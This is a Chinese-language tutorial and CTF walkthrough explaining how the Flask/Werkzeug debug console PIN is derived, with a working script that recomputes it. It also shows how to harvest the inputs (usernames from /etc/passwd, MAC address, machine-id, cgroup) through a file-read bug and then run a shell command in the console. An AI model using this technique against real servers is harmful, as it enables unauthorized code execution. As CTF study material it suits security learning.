from flask import Flask, render_template,request
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def show1():
return render_template('index.html')
if __name__ == '__main__':
app.debug = True
app.run(host='0.0.0.0')

我们可以发现会得到一个pin码,且每次开启debug生成的pin码都是一样的
访问127.0.0.1:5000/console,可以看见一个要求输入pin码的页面,输入正确的pin码则可进行一些命令的交互

pin码生成原理
pin码主要由六个参数构成

  1. username –>执行代码时候的用户名
  2. getattr(app,”name“,app.class.name) –>Flask
  3. modname –>固定值默认flask.app
  4. getattr(mod,”file“,None) –>app.py 文件所在路径
  5. str(uuid.getnode()) –>电脑上mac地址十进制
  6. get_machine_id() –>根据操作系统不同,有四种获取方式
    一、获取username
    1
    2
    3
    import getpass
    username = getpass.getuser()
    print(username)
    输出:lenovo
    二、获取app对象name属性
    getattr(app,"__name__",app.__class__.__name__)
    1
    2
    3
    from flask import Flask
    app = Flask(__name__)
    print(getattr(app,"__name__",type(app).__name__))
    获取的是当前app对象的__name__属性,若不存在则获取类的__name__属性,默认Flask
    输出:Flask
    三、获取app对象module属性
    1
    2
    3
    4
    5
    6
    7
    from flask import Flask
    import sys
    import typing as t
    app = Flask(__name__)
    modneme = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
    mod = sys.modules.get(modneme)
    print(mod)
    获取的是app对象的__module__属性,若不存在的话取类的__module__属性,默认为flask.app
    输出:<module 'flask.app' from 'D:\\python\\lib\\site-packages\\flask\\app.py'>
    四、mod的__file__属性
    app.py文件所在路径
    1
    2
    3
    4
    5
    6
    7
    from flask import Flask
    import sys
    import typing as t
    app = Flask(__name__)
    modneme = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
    mod = sys.modules.get(modneme)
    print(mod,"__file__",None)
    输出:<module 'flask.app' from 'D:\\python\\lib\\site-packages\\flask\\app.py'> __file__ None
    五、uuid
    1
    2
    import uuid
    print(str(hex(uuid.getnode())))
    输出结果:0x38fc9886f29e ,十进制为62657541894814
    打开cmd,输入ipconfig -all

    可以看到是一样的
    六、get_machine_id获取
    python flask版本不同,读取顺序也不同
    1
    2
    3
    4
    Linux:/etc/machine-id,/proc/sys/kernl/random/boot_id   //前者固定后者不固定
    docker:/proc/self/cgroup //正则分割
    macOS:ioreg -c lOPlatformExpertDevice -d 2 //"serial_number" = <{ID}部分
    windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid //注册表
    我是windows,查看注册表得到daba7b5a-b0ad-485b-aacf-e311849eb139
    获取六个参数后,根据python不同版本,使用计算代码,本地化生成pin码
    使用脚本,将对应参数修改后运行(我这里是3.10版本的,低于3.5的是md5加密)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    import hashlib
    from itertools import chain
    probably_public_bits = [
    'lenovo', #username
    'flask.app', #modname
    'Flask', #getattr(app,"__name__",app.__class__.__name__)
    'D:\\python\\lib\\site-packages\\flask\\app.py' #getattr(mod,"__file__",None)
    ]
    privcate_bits = [
    '62657541894814', #str(uuid.getnode())
    'daba7b5a-b0ad-485b-aacf-e311849eb139' #get_machine_id()
    ]
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, privcate_bits):
    if not bit:
    continue
    if isinstance(bit, str):
    bit = bit.encode('utf-8')
    h.update(bit)
    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num=None
    if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv = None
    if rv is None:
    for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
    rv = '-'.join(
    num[x:x+group_size].rjust(group_size, '0')
    for x in range(0, len(num), group_size)
    )
    break
    else:
    rv = num
    print(rv)
    得到结果:117-948-172
    和我运行产生的pin码一致:

pin码计算CTF题

首先需要存在文件包含或文件读取的漏洞,且开启debug功能

  1. username –>执行代码时候的用户名
    读取/etc/passwd可以看到用户名,1000以上一般为人为创建,默认用户root
  2. getattr(app,”name“,app.class.name) –>Flask
    默认为Flask
  3. modname –>固定值默认flask.app
    默认为flask.app
  4. getattr(mod,”file“,None) –>flask目录下的一个app.py 文件的绝对路径
    需要一个报错页面,或者默认路径
    1
    2
    /usr/local/lib/python2.7/site-packages/flask/app.pyc          # 默认路径python2.7内是app.pyc
    /opt/Python/flaskdebug/lib/python2.7/site-packages/flask/app.py #通过debug报错页面获取
  5. str(uuid.getnode()) –>电脑上mac地址十进制
    读取/sys/class/net/ens33/address #centos
    读取/sys/class/net/eth0/address #ubunt
  6. get_machine_id() –>根据操作系统不同,有四种获取方式
    读取 /etc/machine-id #在前
    读取/proc/self/cgroup #docker 第一行最后一部分

计算出pin码后填入进去后输入

1
2
import os
os.popen('cat /flag').read()

即可得到flag